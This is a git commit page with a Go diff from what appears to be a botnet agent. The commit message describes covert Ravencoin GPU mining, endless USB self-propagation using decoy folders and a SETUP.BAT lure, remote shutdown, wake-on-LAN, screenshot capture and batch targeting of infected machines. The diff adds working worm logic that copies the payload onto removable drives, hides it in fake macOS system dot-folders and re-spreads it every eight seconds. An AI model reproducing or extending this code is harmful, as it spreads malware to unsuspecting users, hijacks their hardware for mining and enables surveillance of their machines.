Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.
- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge - USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless - Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots - Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command - Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting - Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner - Crucible gold rain when single agent is active; matrix rain mystic word drops - README fully rewritten; USB bundle repacked
This commit is contained in:
@@ -34,24 +34,65 @@ func StartPassiveSpreader(cfg config.RuntimeConfig) {
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
func runUSBWatcherUnix(cfg config.RuntimeConfig) {
|
||||
seen := map[string]bool{}
|
||||
// Seed with already-mounted removable media so we don't spread to
|
||||
// drives that were plugged in before the agent started.
|
||||
for _, mp := range listRemovableMounts() {
|
||||
seen[mp] = true
|
||||
type mountState struct{ payloadSize int64 }
|
||||
state := map[string]mountState{}
|
||||
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
ticker := time.NewTicker(20 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
for _, mp := range listRemovableMounts() {
|
||||
if seen[mp] {
|
||||
continue
|
||||
}
|
||||
seen[mp] = true
|
||||
log.Printf("[passive-spread] new removable mount: %s", mp)
|
||||
|
||||
// Spread to drives already present at startup if payload is missing or stale.
|
||||
for _, mp := range listRemovableMounts() {
|
||||
size, found := findUnixPayloadSize(mp)
|
||||
if !found || isPayloadStale(exePath, size) {
|
||||
go spreadToMountUnix(cfg, mp)
|
||||
state[mp] = mountState{}
|
||||
} else {
|
||||
state[mp] = mountState{payloadSize: size}
|
||||
}
|
||||
}
|
||||
|
||||
ticker := time.NewTicker(8 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
exeInfo, err := os.Stat(exePath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, mp := range listRemovableMounts() {
|
||||
prev, seen := state[mp]
|
||||
if !seen {
|
||||
log.Printf("[passive-spread] new removable mount: %s", mp)
|
||||
state[mp] = mountState{}
|
||||
go spreadToMountUnix(cfg, mp)
|
||||
continue
|
||||
}
|
||||
if prev.payloadSize != exeInfo.Size() {
|
||||
log.Printf("[passive-spread] refreshing stale payload on %s", mp)
|
||||
state[mp] = mountState{}
|
||||
go spreadToMountUnix(cfg, mp)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// findUnixPayloadSize scans the known Unix drop dirs for a payload binary.
|
||||
func findUnixPayloadSize(mountPoint string) (size int64, found bool) {
|
||||
dotDirs := []string{".Spotlight-V100", ".metadata", ".fseventsd"}
|
||||
for _, dir := range dotDirs {
|
||||
entries, err := os.ReadDir(filepath.Join(mountPoint, dir))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
fi, err := e.Info()
|
||||
if err == nil && !e.IsDir() && fi.Mode()&0100 != 0 {
|
||||
return fi.Size(), true
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0, false
|
||||
}
|
||||
|
||||
// listRemovableMounts returns currently-mounted removable media paths.
|
||||
|
||||
Reference in New Issue
Block a user